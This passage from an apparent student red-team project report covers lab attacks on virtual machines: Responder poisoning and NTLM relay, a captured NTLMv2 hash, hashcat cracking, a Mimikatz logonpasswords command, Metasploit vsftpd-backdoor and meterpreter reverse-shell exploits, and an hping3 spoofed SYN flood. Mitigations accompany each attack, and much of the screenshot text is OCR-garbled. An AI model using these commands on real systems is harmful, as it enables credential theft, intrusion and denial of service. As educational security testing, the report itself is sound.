[bookmark: _Toc159589565]Figure 45 Poisoned response sent


· Credential Dumping: Once a connection is established, the Responder captures the NTLM hashes of the targeted user credentials sent by the querying device, as seen in Fig. 46.
[image: ]







[bookmark: _Toc159589566]Figure 46 User credentials hashes

· Network Sniffing: The network is monitored for traffic, to capture credentials or hashes transmitted in clear text or weakly encrypted. Hashcat was used to decrypt the hashes and password lists rockyou.txt was utilized to attempt to crack the user password. Unfortunately, the hashes couldn’t crack to reveal the password, due to low system processor. RockYou.txt is a compilation of more than 14 million unencrypted passwords exposed during the RockYou breach in 2009, hence it requires a system with a more higher  processor and RAM speed for it to convert the hashes to reveal the password of Arobert(targeted user) as seen in fig.



[image: ]







[bookmark: _Toc159589567]Figure 47 Cracking hashes with rocyou.txt
· Monitoring and Analysis
Command and Control: The captured traffic is analyzed for command-and-control activities, including any unauthorized access attempts to other systems using the captured credentials.
[image: ]Wireshark was used to capture and analyze packets.





[bookmark: _Toc159589568]Figure 48 Captured packets with Wireshark

· Data Exfiltration: The NTLM hashes are collected and assessed for the potential of further network infiltration or data exfiltration as seen in fig. 48.
· Reporting and Debriefing: The BloodHound tool was used to analyze Active Directory relationships and vulnerabilities. For Lateral movement, Mimikatz tool (mimikatz.exe "privilege:debug" "sekurlsa::logonpasswords") was used to dump credentials.

· Outcome: Discovery of internal weaknesses such as inadequate network segmentation, poor password policies, and excessive user privileges.

· Mitigations: Improve network segmentation, enforce the least privilege principle, implement multi-factor authentication (MFA), and regular password audits.
Recommendations: Based on the MITRE ATT&CK framework, the following strategies are recommended for mitigating the risk of LLMNR/NBT-NS poisoning attacks. 
· LLMNR and NBT-NS protocols should be disabled on network devices where possible.
· Network access controls should be implemented to limit unnecessary traffic (T1553.004).
· Encouraging the use of secure methods for authentication and name resolution.
· Require Network Access Control.

· Require strong user passwords (e.g, >14 characters in length and limit common word usage). The more complex and long the password, the harder it is for an attacker to crack the hash.

[bookmark: _Toc159589718]5.3 INSIDER THREAT ATTACK
As a Red Team engineer, conducting an insider threat attack involves mimicking the actions of a malicious insider to identify vulnerabilities and assess the organization's preparedness against such threats. This scenario outlines the simulated steps of how an insider is executed in a real environment or organization. 
This is just a simulation of how it will be performed in the real world.

· Objective: To simulate an insider threat aimed at unauthorized access and exfiltration of sensitive company data to assess the effectiveness of the organization's internal security measures, employee awareness, and incident response capabilities.

· Pre-Simulation Preparation
Authorization: Obtain explicit written permission from senior management, detailing the scope and bounds of the simulation.

· Scope Definition: This simulation is limited to specific targets, such as accessing sensitive project documents, customer data, or financial information, without actual data leakage.

· Communication Plan: clear communication protocols must be established, with a control team aware of the simulation to monitor activities and intervene if necessary.

Insider Threat Simulation Steps
1. Information Gathering
Role Play: The identity of a disgruntled employee with legitimate access to the company network is assumed but without the necessary permissions to access sensitive data.
· Internal Reconnaissance: the disgruntled employee uses standard employee access to gather information on network layouts, sensitive data locations, and potential internal targets for exfiltration.
2. Privilege Escalation
· Exploiting Weaknesses: The threat agent Identifies and exploits weaknesses in internal controls to escalate privileges. This could involve exploiting misconfigurations, outdated software, or leveraging social engineering tactics on coworkers to gain their credentials.

· Access Gain: the elevated privileges are used to access sensitive information, ensuring actions are logged for later analysis.
3. Data Exfiltration Simulation
· Exfiltration Methods: Threat agent commences exfiltration of data through common insider methods, such as emailing to a personal account, uploading to cloud storage, or copying to external USB drives. Use dummy files to mimic sensitive data.

· Stealth Techniques: The threat agent applies various techniques that a typical insider might use to avoid detection, like slow data exfiltration or encrypting files to bypass DLP (Data Loss Prevention) systems.


4. Covering Tracks
Threat agents attempt to erase or modify logs to hide unauthorized activities, simulating an insider's effort to avoid detection.
5. Reporting and Debriefing
Immediate Reporting: Once the simulation is complete, report about the attack simulation activities is reported to the designated control team for analysis.

6. Recommendations and Mitigations: 
· Conduct Thorough Background Checks: Before is hired, a comprehensive background check must be conducted to identify any potential red flags
· Implement Strict Access Controls: require MFA for accessing sensitive systems and information. 
· Monitor User Activities: Implement solutions for monitoring user activities, especially for access to sensitive data. 
· Secure Physical and Digital Assets: Ensure that both physical and digital assets are secure. 
· Regular Security Awareness Training: should be conducted.
· Control and Monitor the Use of Removable Media
· Limit the use of removable media devices on the organization systems. 
· Implement Data Loss Prevention (DLP) technologies
· Use DLP solutions to monitor, detect, and block the transfer of sensitive information outside of the corporate network.
· Regular Audits and Reviews should be performed.
· 11. Have an Incident Response Plan: 
· 13. Segregation of Duties: divide critical tasks and responsibilities among d: different individuals to reduce the risk of fraud or data theft from a single point of insider compromise.










[bookmark: _Toc159589719]5.4 METASPLOITABLE 2 VSFTPD BACKDOOR ATTACK
Exploiting the backdoor vulnerability in VSFTPD v2.3.4 on Metasploitable 2 is a classic example of how a seemingly minor software flaw can lead to a significant security breach. This particular vulnerability allows an attacker to gain unauthorized access to the system by exploiting a malicious backdoor that was introduced in the VSFTPD v2.3.4 release.

· Information Gathering
The vulnerability in VSFTPD v2.3.4 stems from a malicious backdoor that was inserted into the version's code. When a user connects to the FTP server and submits a username containing a smiley face ")", the server listens on TCP port 6200 for a connection, allowing an attacker to connect to this port and gain a command shell with root privileges.
· Identify targets
[image: ]Using the Nmap tool to scan for targets on the network. The host IP is 192.168.57.5, while 192.168.57.11 is the target machine which is metasploitable2. The list of open ports is displayed, and port 21 is the chosen port to be targeted.










[bookmark: _Toc159589569]Figure 49 Identified targets

Exploiting the Backdoor:[image: ] 








[bookmark: _Toc159589570]Figure 50 Metasploit vsftp exploit

The FTP service is connected to the target using the “search vsftp” command, as seen in fig. 50.
Using the Metasploit 6 framework, to search for available VSFTP exploits, the backdoor exploit is selected and the RPORT is 21, as seen in fig. 50.
Gaining Access:[image: ]







[bookmark: _Toc159589571]Figure 51 Access gained
The exploit is executed on the target, and the system information of the target is discovered. As seen in fig. 51.

[image: ]



[bookmark: _Toc159589572]Figure 52 Root privilege login credentials
Fig. 51 shows that the author was able to gain root access into the targeted machine, and the login shows successful, with the login details displayed as a password.

· Mitigation

· Update to the Latest Version of VSFTPD
· Patch Known Vulnerabilities: Check for all unpatched vulnerabilities, and ensure they're properly patched. 
· Restrict Access by configuring the firewall to limit access to the FTP server by allowing connections only from trusted IP addresses.













[bookmark: _Toc159589720]5.5 Distributed Denial of Service (DDOS) Attack
A Distributed Denial of Service (DDoS) attack is a malicious attempt to disrupt the normal traffic of a targeted server, service, or network by overwhelming the target or its surrounding infrastructure with a flood of Internet traffic. DDoS attacks achieve effectiveness by utilizing multiple compromised computer systems as sources of attack traffic. Exploited machines can include computers and other networked resources such as IoT devices.
· Information gathering / Reconnaissance
For this simulation, the attack is focused on the TCP Protocol, port 80: The goal of this attack is to target the layer where web server processing is done, with SYN floods, until the server resources are exhausted. 

· Identify targets
The target IP address is still 192.168.57.11, with the hping3 command as indicated in the figure, the target was flooded with multiple TCP packets until it was out of resources, making the web server unavailable when requested.

· Exploitation
Using the Hping3 tool, the target IP address was spoofed with a syn flag of 120, using port 80 to flood the target, as seen in fig. 53.
[image: ]

[bookmark: _Toc159589573]Figure 53 hping flooding




· Fig. 54 shows that the web app was available before the attack was launched.
[image: ]








[bookmark: _Toc159589574]Figure 54 web server running
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[bookmark: _Toc159589575]Figure 55 Web server down
· After the DDOS attack was executed, fig. 55 shows that the web app service is unavailable.






· The traffic was inspected using Wireshark on eth0 as indicated below. 
A total of 137321147 was sent to the web server, which was too much for the web server.

[image: ]





[bookmark: _Toc159589576]Figure 56 captured packets

· Mitigation for DDOS Attack.
To defend against DDoS attacks, organizations can employ a variety of strategies and tools:
· Increased Bandwidth: Having more bandwidth than you ordinarily need can help absorb the traffic volume spikes of a DDoS attack.
· DDoS Mitigation Services: These services specialize in detecting and mitigating DDoS attacks, often by rerouting malicious traffic away from the target.
· Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS): These can help identify and block attack traffic.
· Web Application Firewalls (WAF): WAFs can protect web applications by filtering and monitoring HTTP traffic between a web application and the Internet.
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[bookmark: _Toc159589723]6.1 SUMMARY OF ATTACK SIMULATION
	Attack Type
	Vulnerabilities
	Threats
	Mitigations

	DOS Attack
	- Poorly configured network equipment, Unpatched software, Lack of rate limiting
	- Overwhelming the system resources, Disruption of service to users.
	- Implement rate limiting,
- Use anti-DDoS services and hardware, systems, and software must be updated regularly.

	Phishing
	- Lack of user awareness, Inadequate email filtering, and Insufficient security policies
	- Theft of sensitive information, and Credential harvesting
	- Regular security awareness training must be Conducted, and Implementation of advanced email filtering, and Enforcement of multi-factor authentication (MFA)

	Active Directory Attack
	- Misconfigured permissions,
- Stale user accounts, Lack of monitoring, and logging
	- Unauthorized access to network resources, and Lateral movement within the network
	- Regularly audit and correct permissions must be assigned to users based on their job roles. Implementation of account lifecycle management, Enabling detailed logging and monitoring on the server.

	Privilege Escalation
	- Unpatched operating systems and applications, Misconfigurations, and Use of default credentials.
	- Unauthorized access and control over critical systems, Data theft, and system damage.
	- Security patches must be applied promptly, the principle of least privilege must be followed, default passwords must be changed, and strong password policies must be enforced on all users in the domain.

	Ransomware
	- Unpatched software vulnerabilities,
Phishing and social engineering tactics, and Lack of secure backups
	- Encryption of critical data with ransom demands, and Disruption of business operations
	- Keep all systems and software updated, - Data must be backed-up and stored regularly, offline,
- Educate users on spotting phishing attempts.

	Malware Attack
	- Unsecured network endpoints, Lack of endpoint protection, and Ineffective access controls
	- System infection leading to data theft, espionage, or damage, Spread of infection to other network assets
	- Deployment of endpoint protection solutions, Implementation of network segmentation and access controls, Regular vulnerability assessments and penetration testing must be conducted.	Comment by Nitheesh Kaliyamurthy: Conclusion, Write Personal Reflections - covering technical and personal aspects 



[bookmark: _Toc159589724]6.2 Conclusion and Recommendation
Introduction
This summary report is based on two parts. The first part of this summary is based on the research work, while the second part is based on the outcome of the experiment. 

Throughout this project lifecycle, the author's focus has been on analyzing the key threats in SMEs. Based on the literature reviews, SMEs have suffered several breaches since the pandemic area, and businesses now see the need to take their services online, either by storing or sharing information. Threat actors are also consistently improving their attack techniques to steal confidential data for financial gain.

In summary, the discussions reinforce the notion that effective cybersecurity is multifaceted, requiring a blend of technical solutions, strategic planning, human factor considerations, and adherence to ethical and legal standards. By embracing a holistic approach to cybersecurity, organizations can not only protect their assets and data but also foster a secure and resilient digital environment for their stakeholders.

[bookmark: _Toc159589725]6.3 Conclusion
Throughout this project, the author explored various aspects of cybersecurity, focusing on attack simulations, vulnerability exploitations, and mitigation strategies to enhance organizational security posture. It outlines a scenario detailing the necessity for a Red Team to perform offensive security testing on Evon Enterprise's network system infrastructure. The simulation aimed at identifying vulnerabilities, testing the effectiveness of existing security measures, and enhancing the company's defense mechanisms against potential cyber threats.

[bookmark: _Toc159589726]6. 4 Recommendations for Future Research
More research should be conducted on cyber threat intelligence and how SMEs with little capital can also benefit from it.
More aspects of cyber awareness training should be carried out on how every employee can be cyber security compliant.

Researchers should focus on how threats evolve, and how much impact it has on other organisations, 

[bookmark: _Toc159589727]6.5 Conclusions and Recommendations
In conclusion, cybersecurity is a multifaceted field that requires ongoing attention to technological advancements, threat intelligence, and best practices in security management. Organizations must adopt a proactive stance, regularly updating their security measures, educating their workforce, and employing comprehensive strategies to mitigate a wide range of cyber threats. Through simulation, vulnerability exploitation exercises, and a strong emphasis on mitigation and ethical considerations, businesses can significantly enhance their resilience against cyberattacks and insider threats.
To add to this, SMEs need to consider having a reliable cyber threat intelligence (CTI) system that relates current cyber threat trends occurring all around the world, as it will help the business stakeholders to plan on how to boost their system against these threats. Another key aspect SMEs should consider is setting up an incident response plan, as this will help the business to still stay in business in the event of a cyber breach.
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[bookmark: _Toc159589729]7.1 REFLECTIONS
So far, the work done by the author has satisfied the aims and objectives of this project. The project has thrown more light on the challenges SMEs are experiencing, regardless of their sizes. Sometimes even organisations with the most sophisticated security architectures can still be attacked. With the data acquired from the UK cyber threat breaches survey, the author was able to identify the key threats affecting SMEs.

[bookmark: _Toc159589730]7.2 Barriers experienced during the project

Some of the barriers encountered during this project are outlined as follows:
1. Unable to assess credible statistics to reflect the cyber security challenges faced by SMEs of all sizes.
2. The implementation of this project was done in a virtual environment, which makes it difficult to perform some attacks like Ransomware, Malware, and Impersonification.
3. Unable to access high-performance systems with high processors and RAM Speed. This affected the outcome of some of the attacks conducted.
4. Inability to recall all commands to execute in better simulating a more sophisticated attack.

[bookmark: _Toc159589731]7.3 Positives
The positives of this project have better equipped the author with an in-depth knowledge of cyber threats, how cyber-attacks occur, and how organizations can prevent these threats from reoccurring in the future. More study and research will expand the knowledge of the author on key aspects to prepare plan and simulate a cyber-attack.


[bookmark: _Toc159589732]7.4 Lesson Learned

This project has better improved the author's knowledge of how to plan, prepare, and simulate a red teaming attack. Key concepts like the differences between a Blue team and a Red team have been clarified as a result of this project, and even the concept of penetration testing has also been clarified.

[bookmark: _Toc159589733]7.5 Guidance to future students

Early commencement of your project is very pivotal to the quality of work put forward. It is also important to ensure that project students have a deep knowledge of the project topic they're about to adopt before they begin to work on it.

[bookmark: _Toc159589734]7.6 Overall

Certainly, the discussions and scenarios explored highlight the critical nature of cybersecurity in the modern digital landscape. The conclusion drawn from these discussions emphasizes several key insights and actionable strategies for organizations striving to bolster their cybersecurity posture
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Waiting for Next Login Info, Ctrl + C to exit. ||
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PROPERTIES

For EVHQ-DC
Computer name evHa-OC Lastinstalled updltes Never
Domain EVONIocal Windows Update Downioad updates
Lastchecked for updates Vesterday at 349 A
Windows Defender Firewall  Domain: On Windows Defender Antivius  Unknown
Remote management Enabled Feedback & Diagnostics Settings
Remote Desktop Disabled 1E Enhanced Security Configuration On
NIC Teaming Disabled Time zone (UTC-0800)Pacific
Ethemet 1P address assigned by DHCP, Pv6 enabled  Product ID Not activated
Operating systemversion  Microsoft Windows Server 2010 Standrd  Processors IntelR) Core(TM) i
Hardware information innotek GmbH VirtuslBox Instaled memory (RAM) 30568
Total disk space 494568
EVENTS
All events | 27 total
Fiter » S
ServerName 1D | Severity  Source Log Date and Time
EVHQ-DC 8198 Emor  Microsoft-Windows-Security-SPP Application 2/21/2024 11:52:47 PM =
EVHQDC 8198 Ermor  Microsoft Windows-Security-SPP Application” 2/21/2024 11:4323 PM
EVHQDC 8198 Ermor  Microsoft Windows-Security-SPP Application” 2/21/2024 11:4824 PM





image45.PNG
3 Active Directory Users and Computers

e aE 0 XE0= Hm e Tah

[ Active Directory Users and Com|| Name Type Description
> [ Saved Queries IIEV-WORKPCT  Computer
I/EV-WORKPC2 Computer





image46.png
W evwork-pc2 [Running] - Or VirtualBo;

Fle Machine View Input Devies Help

- "Ben Parker

AN

i Welcome





image47.PNG
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E[nmt@ kali)-[~]
4 nmap —script=smb2-security-mode.nse -p445 192.168.57.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-62-18 15:34 EST
Nmap scan report for 192.168.57.3

Host is up (0.00018s latency)

PORT  STATE  SERVICE
445/tcp filtered microsoft-ds

MAC Address: 08: 2 (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.57.8
Host is up (0.00026s Latency)

PORT  STATE SERVICE
445/tcp open microsoft-ds

MAC Address: 08: :5C (Oracle VirtualBox virtual NIC)

Host script results:
| smb2-security-mode:

I 3:1:1:

I_ Message signing enabled and required

Nmap scan report for 192.168.57.9
Host is up (0.00034s latency)

PORT  STATE SERVICE
445/tcp open microsoft-ds

MAC Address: 08: :D1 (Oracle VirtualBox virtual NIC)

Host script results:
| smb2-security-mode:

I 3:1:1:

I_ Message signing enabled but not required

Nmap scan report for 192.168.57.10
Host is up (0.00031s latency)

PORT  STATE SERVICE
445/tcp open microsoft-ds

MAC Address: 08: :3C (Oracle VirtualBox virtual NIC)

Host script results:
| smb2-security-mode:

I 3:1:1:

I_ Message signing enabled but not required

Nmap scan report for 192.168.57.5
Host is up (0.000028s latency)

PORT  STATE SERVICE
445/tcp closed microsoft-ds

Nmap done: 256 IP addresses (5 hosts up) scanned in 35.90 seconds
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Administrator: Command Prompt

Jicrosoft Windows [Version 16.6.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
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File Actions Edit View Help
root@kali:~ X root@kali:~ X

[*] Protocol Client IMAPS loaded.
[*] Protocol Client IMAP loaded..

[*] Protocol Client LDAP loaded..

[*] Protocol Client LDAPS loaded.

[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server

[+] Setting up HTTP Server

[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Received connection from 192.168.57.9, attacking target sm
b://192.168.57.10

[*] Authenticating against smb://192.168.57.10 as EVON\Arobert SUCCEED

[*] SMBD-Thread-5: Received connection from 192.168.57.9, attacking target sm
b://192.168.57.10

[+*] Authenticating against smb://192.168.57.10 as EVON\Arobert SUCCEED

[-1 DCERPC Runtime 0x5 - rpc_s_access_denied

[-1 DCERPC Runtime : 0x5 - rpc_s_access_denied

+] : Received connection from 192.168.57.9, attacking target smb://192.
168.
] Client requested path: /

[*] SMBD-Thread-8: Received connection from 192.168.57.9, attacking target sm
b://192.168.57.10

[*] Authenticating against sm
[-] DCERPC Runtime Error: code

//192.168.57.10 as EVON\Arobert SUCCEED
x5 - rpc_s_access_denied
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(3]
File Actions Edit View Help

FIP server fon]
AP server fon]
POP3 server fon]
STP server [oN]
DNS server [on]
LDAP server [on]
ROP server [on]
DCE-RPC server [on]
WinkM server fon]

[+] HTTP Options:
Always serving EXE [0FF]
Serving EXE [OFF]
Serving HTML [0FF]
Upstrean Proxy [oFF]

[+] Poisoning Options:
Analyze Mode [0FF]
Force WPAD auth [oFF]
Force Basic Auth ToFF]
Force LM downgrade T0FF]
Force ESS downgrade [oFF]

[+] Generic Options:
Responder NIC [etho]
Responder I [192.168.57.51
Responder IPv6 [Fe80:: d50:249d:4393:b901]
Challenge set [random]
Don't Respond To Names  ['1sATAP']

[+] Current Session Variables:

Responder Machine Name [WIN-MMLAS2853TA]
Responder Domain Name [2VX2.LOCAL]
Responder DCE-RPC Port [45274]

[+] Listening for events ...
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E(rnnt@ kali)-[~]
-+ responder -T ethd -wdv

— ‘ 5 a1 i e —
- =M hashing _dow d for windeus Xp/2¢
[} 1 I L 111 11 Ll

NBT-NS, LLNNR & MDNS Responder 3.1.3.0

To support this project:
Patreon — https://wmi.patreon.con/PythonResponder
Paypal —> https://paypal.me/PythonResponder

Author: Laurent Gaffie (laurent.gaffieagmail.com)
To Kill this script hit CTRL-C

[+] Poisoners:

LLMNR [on]
NBT-NS [on]
MDNS [on]
DNS [on]
DHCP [on]
[+] servers:
HTTP server [OoFF]
HTTPS server [on]
WPAD proxy [on]
Auth proxy [OFF]
SMB server [0FF]
Kerberos server [on]
saL server [on]
FTP server [on]
IMAP server [on]

POP3 server [on]
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[+] Listening for events ...

[*] [MDNS] Poisoned answer sent to 192.168.57.9  for name EV-WORKPC1.local

[*] [LLMNR] Poisoned answer sent to 192.168.57.9 for name EV-WORKPC1

[*] [LLMNR] Poisoned answer sent to fe80::70c6:85ch:93e2:f42b for name EVHQ-DC

[*] [MDNS] Poisoned answer sent to 192.168.57.8  for name EVHQ-DC.local

[*] [MDNS] Poisoned answer sent to fe80::70c6:85ch:93e2:f42b for name EVHQ-DC.local
[*] [LLMNR] Poisoned answer sent to 192.168.57.8 for name EVHQ-DC

[*] [MDNS] Poisoned answer sent to 192.168.57.8  for name EVHQ-DC.local

[*] [MDNS] Poisoned answer sent to fe80::70c6:85cb:93e2:f42b for name EVHQ-DC.local
[*] [LLMNR] Poisoned answer sent to fe80::70c6:85ch:93e2:f42b for name EVHQ-DC

[*] [LLMNR] Poisoned answer sent to 192.168.57.8 for name EVHQ-DC

[*] [MDNS] Poisoned answer sent to 192.168.57.9  for name EV-WORKPC1.local

[*] [LLMNR] Poisoned answer sent to 192.168.57.9 for name EV-WORKPC1

[*] [MDNS] Poisoned answer sent to 192.168.57.8  for name EVHQ-DC.local
R e T e S e e e | 2 [ A S LAty e o il
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Responder Domain Name [6G9V.LOCAL]
Responder DCE-RPC Port [49538]

[+] Listening for events ...

[*] [NBT-NS] Poisoned answer sent to 192.168.57.9 for name EVON (service: Dom
ain Master Brouser)

[*] [NBT-NS] Poisoned answer sent to 192.168.57.9 for name EVON (service: Dom
ain Master Brouser)

[*] [NBT-NS] Poisoned answer sent to 192.168.57.9 for name EVON (service: Dom
ain Master Brouser)

[*] [NBT-NS] Poisoned answer sent to 192.168.57.9 for name EVON (service: Bro
wser Election)

[SMB] NTLMv2-SSP Client : 192.168.57.9
[SWE] NTLMv2-SSP Username : EVON\Arobert
[SHE] NTLMv2-SSP Hash : Arobert :: EVON:25c65b28b1b88864 : 29DB5BI0SB78B22420

ABBAG72DD60295 : 010100000000000080460D377A62DA0106528BDBCD8793AB0A000000020008
00360047003900560001001E00570049004E002000540052003500580049004F0053004A00320
04A00500004003400570049004E002D00540052003500580049004F0053004A0032004A005000
2E0036004700390056002E004C004F00430041004C000300140036004700390056002E004C004
F00430041004C000500140036004700390056002E004C004F00430041004C000700030080460D
377A62DA01060004000200000008003000300000000000000001000000002000003C659B868E7
76E3AC68F26DC387BFIF8301D34F4IDBCSAI7ATSFAIS3D22FOFAT0AG010000000000000000000
00000000000000000900220063006900660073002F003100390032002E003100360038002E003
50037002E0035000000000000000000

[+] skipping previously captured hash for EVON\Arobert

(2225674)
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B root@kali: ~
File Actions Edit View Help

Started: Sun Feb 18 03:36:26 2024
Stopped: Sun Feb 18 03:36:27 2024

[C(root®kati)=[~1
+ hashcat -n 5600 ntlmhash.txt rockyou.txt
hashcat (v6.2.6) starting

OpenCL APT (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, L
M 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #1: cpu-sandybridge-Intel(R) Core(TM) i7-7700 CPU @ 3.60GHz, 704/1
3 MB (256 M8 allocatable), 2MCU

Minimun password length supported by kernel: o
Maximun password length supported by kernel: 256

Hashfile 'ntlmhash.txt’ on line 1 (gd6b6s ... 50037002E0035000000000000000000
: Separator unmatched
No hashes loaded.

Started: Sun Feb 18 03:37:55 2024
Stopped: Sun Feb 18 03:37:56 2024

(root® kali)-[~]
Cin

Open
1 gd6b6s!
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File Actions Edit View Help
(el ati)-[-]
$ nmap 192.168.57.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-21 06:29 EST
Nmap scan report for 192.168.57.1
Host is up (0.0016s latency)
Not shown: 999 closed tcp ports (conn-refused)
PORT  STATE SERVICE
53/tcp open domain

Nmap scan report for 192.168.57.5
Host is up (0.0011s latency)

ALL 1000 scanned ports on 192.168.57.5 are in ignored states
Not shown: 1000 closed tcp ports (conn-refused)

Nmap scan report for 192.168.57.11
Host is up (0.000595 latency)
Not shown: 977 closed tcp ports (conn-refused)
PORT  STATE SERVICE
21/tcp  open ftp

22/tcp  open ssh

23/tcp  open telnet

25/tcp  open smtp

53/tcp  open domain

80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open  ccproxy-ftp
3306/tcp open mysql

5432/tcp open postgresql
5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajp13

8180/tcp open unknown

Nmap done: 256 IP addresses (3 hosts up) scanned in 8.87 seconds

i® kali)-[~]
E;*ﬂx
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Actions Edit View Help

+ — —=[ 2376 exploits - 1232 auxiliary - 416 post 1
+ - —-=[ 1391 payloads - 46 encoders - 11 nops 1
- [ 9 evasion 1
Metasploit Documentation: https://docs.metasploit.con/
msf6 > search vsftp
Matching Modules
# Name Disclosure Date Rank Check Description
0 auxiliary/dos/ftp/USFERd_232 2011-02-03 normal ~ Yes D 2.3.2 Denial of Service
1 exploit/unix/ftp/MSfERd_234_backdoor 2011-07-03 excellent No D v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > 1
"1 Unknown command: 1

msf6 > use 1

[+] No payload configured, defaulting to cmd/unix/interact
msF6 explodt(unin/ tp/vsiipd 234 bacidoor) > options

Module options (exploit/unix/ftp/vsftpd 234 backdoor):

Name  Current Setting Required Description
CHOST no The local client address

CPORT no The local client port

Proxies no A proxy chain of format type:host:port[,type:host:port][ ...

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics

/using-metasploit.html
RPORT 21 yes The target port (TcP.
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Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description

LHOST 192.168.57.5  yes The listen address (an interface may be specified)
LPORT 444t yes The listen port

Exploit target:

Id Name

@ Automatic

View the full module info with the info, or info -d command.

msF6 exploit(uulci/itip/php ol are inicction) > set rhosts 192.168.57.11
rhosts = 192.168.57.11
msf6 exploit(multi/http/php_cgi_arg_injection) > exploit

[+] Started reverse TCP handler on 192.168.57.5:4444
[+] Sending stage (39927 bytes) to 192.168.57.11
[*] Meterpreter session 1 opened (192.168.57.5:4444 — 192.168.57.11:36291) at 2024-02-19 21:26:39 -0500

meterpreter > sysinfo

Computer  : metasploitable
os Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter : php/linux

neterpreter > [f
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View the full module info with the info, or info -d command.

msf6 auxiliary(-conner/vic/vne Losin) > exploit

[*] 192.168.57.11:5900 - 192.168.57.1
[!] 192.168.57.11:5900 - No active DB — Credential data will not be saved
[+] 192.168.57.1: - 192.168.57.11:5900 - Login Successful: :password
[+*] 192.168.57.1: - Scanned 1 of 1 hosts (100% complete)

[+] Auxiliary module execution completed

nsf6 auxiliary(scanner/vnc/vnc_login) > [

900 - Starting VNC login sweep
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File Actions Edit View Help

[(root@ati)-[-]

- hping3 -5 192.168.57.11 ~d 120 -p 80 —flood --rand-source

HPING 192.168.57.11 (ethd 192.168.57.11): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown

S

— 192.168.57.11 hping statistic —

137321147 packets transmitted, 0 packets received, 180% packet loss

round-trip min/avg/max = 0.0/0 ms,

(root® kali)-[~]
Ca
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No. Time. Source Destination Protocol  Length Info

4549..14.933617257 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61613 — 80 [SYN]

4549..14.933626308 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61614 — 80 [SYN]

4549..14.933633617 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61615 — 80 [SYN]

4549..14.933661829 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61616 — 80 [SYN]

4549..14.933669918 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61617 — 80 [SYN]

4549..14.933677497 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61618 — 80 [SYN]

4549..14.933718368 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61619 — 80 [SYN]

4549..14.933727557 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61620 — 80 [SYN]

4549..14.933735108 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61621 — 80 [SYN]

4549..14.933774056 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61622 — 80 [SYN]

4549..14.933783247 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61623 — 80 [SYN]

4549..14.933790605 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61624 — 80 [SYN]

4549..14.933836987 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61625 — 80 [SYN]

4549..14.933846561 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61626 — 80 [SYN]

4549..14.933853941 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61627 — 80 [SYN]

4549..14.933881399 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61628 — 80 [SYN]

4549..14.933889271 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61629 — 80 [SYN]

4549..14.933896938 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61630 — 80 [SYN]

4549..14.933939668 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61631 — 80 [SYN]

4549..14.933953388 192.168.57.15 192.168.57.11 TCP 54 [TCP Port numbers reused] 61632 — 80 [SYN]

4549..14.933992701 192.168.57.15 192.168.57.11 TcP 54 [TCP Port numbers reused] 61633 — 80 [SYN]
» Frame 1: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface ethe, id © 6000 08 00 27 1c 65 7a 08 00 27 21 bl do 08 00 45 60 Tezes "1o-iE
» Ethernet II, Src: PCSSystemtec 21:b1:d® (08:00:27:21:b1:de), Dst: PCSSystemtec 1c:65:7a (@8:00:27:1c:65 G010 ©0 28 B2 9e 60 00 40 06 04 c7 cO a8 39 Of cO a8 (- @ 9
» Internet Protocol Version 4, Src: 192.168.57.15, Dst: 192.168.57.11 ©620 39 6b db 5a 00 50 17 39 06 9f 68 9a 12 40 50 62 9--Z-P-9 - -h--@P
» 6030 02 00 46 1a 00 00 F
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